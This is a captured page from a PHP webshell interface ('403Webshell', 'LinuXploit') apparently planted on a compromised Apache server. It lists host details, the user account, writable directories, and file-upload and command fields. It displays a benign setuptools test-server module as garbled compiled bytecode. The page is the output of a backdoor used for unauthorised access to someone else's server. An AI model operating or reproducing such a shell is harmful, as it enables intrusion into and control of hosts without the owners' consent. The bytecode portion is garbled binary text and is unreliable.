403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/server.cpython-313.pyc
�

�h]	���SrSSKrSSKrSSKrSSKrSSKrSSKr"SS\RR5r"SS\RR5r
"SS\RR\R5rS
S	jrg)z>Basic http server for tests to simulate PyPI or custom indexes�Nc�`�\rSrSrSrS\RR4SjrSr	Sr
SrSrg	)
�IndexServer�a9Basic single-threaded http server simulating a package index

You can use this server in unittest like this::
    s = IndexServer()
    s.start()
    index_url = s.base_url() + 'mytestindex'
    # do some test requests to the index
    # The index files should be located in setuptools/tests/indexes
    s.stop()
��rc�f�[RRRXU5 SUlg�NT)�http�server�
HTTPServer�__init__�_run��self�server_address�RequestHandlerClasss   �9/usr/lib/python3/dist-packages/setuptools/tests/server.pyr
�IndexServer.__init__s&��
	
�����'�'��>Q�R���	�c�~�[R"URS9UlURR	5 g)N)�target)�	threading�Thread�
serve_forever�thread�start�rs rr�IndexServer.starts*���&�&�d�.@�.@�A��������rc��[R"S5 UR5 URR	5 UR
R
5 g)zStop the serverg�������?N)�time�sleep�shutdownr�join�socket�closers r�stop�IndexServer.stop#s8��	
�
�
�3���
�
�������������rc�&�URnSUS3$)Nzhttp://127.0.0.1:z/setuptools/tests/indexes/��server_port)r�ports  r�base_url�IndexServer.base_url-s������"�4�&�(B�C�Cr)rrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
r�SimpleHTTPRequestHandlerr
rr&r,�__static_attributes__�rrrrs.��	�� �K�K�@�@����Drrc��\rSrSrSrSrg)�RequestRecorder�2c��[UR5RS/5nURU5 UR	SS5 g)N�requests���OK)�varsr�
setdefault�append�
send_response)rr:s  r�do_GET�RequestRecorder.do_GET3s9������$�/�/�
�B�?����������3��%rr5N)r.r/r0r1rAr4r5rrr7r72s��&rr7c�L�\rSrSrSrS\4SjrSr\S5r	\S5r
Srg	)
�
MockServer�9z<
A simple HTTP Server that records the requests made to it.
rc��[RRRXU5 [R
RU5 SUl/Ulgr	)r
rrr
rr�daemonr:rs   rr
�MockServer.__init__>s?�������'�'��>Q�R����!�!�$�'������
rc�$�UR5 g�N)rrs r�run�MockServer.runDs�����rc� �SUR3$)Nz
localhost:r)rs r�netloc�MockServer.netlocGs���D�,�,�-�.�.rc�"�SURS3$)Nzhttp://�/)rNrs r�url�MockServer.urlKs������
�Q�'�'r)rGr:N)r.r/r0r1r2r7r
rK�propertyrNrRr4r5rrrDrD9s@���'.�?����/��/��(��(rrDc��[RR[RRU55nSnUbUSU--
n[R
R
U[RRU55$)zConvert a path to a file: URL.zfile:z//)	�os�path�normpath�abspath�urllib�parse�urljoin�request�pathname2url)rW�	authority�bases   r�path_to_urlraPsc��
�7�7���B�G�G�O�O�D�1�2�D��D�����y� � ���<�<����f�n�n�&A�&A�$�&G�H�HrrJ)r2�http.serverr
rVrr �urllib.parserZ�urllib.requestrrr�BaseHTTPRequestHandlerr7rrDrar5rr�<module>rfsm��D��	�����$D�$�+�+�(�(�$D�N&�d�k�k�8�8�&�(����'�'��)9�)9�(�.Ir

Youez - 2016 - github.com/yon3zu
LinuXploit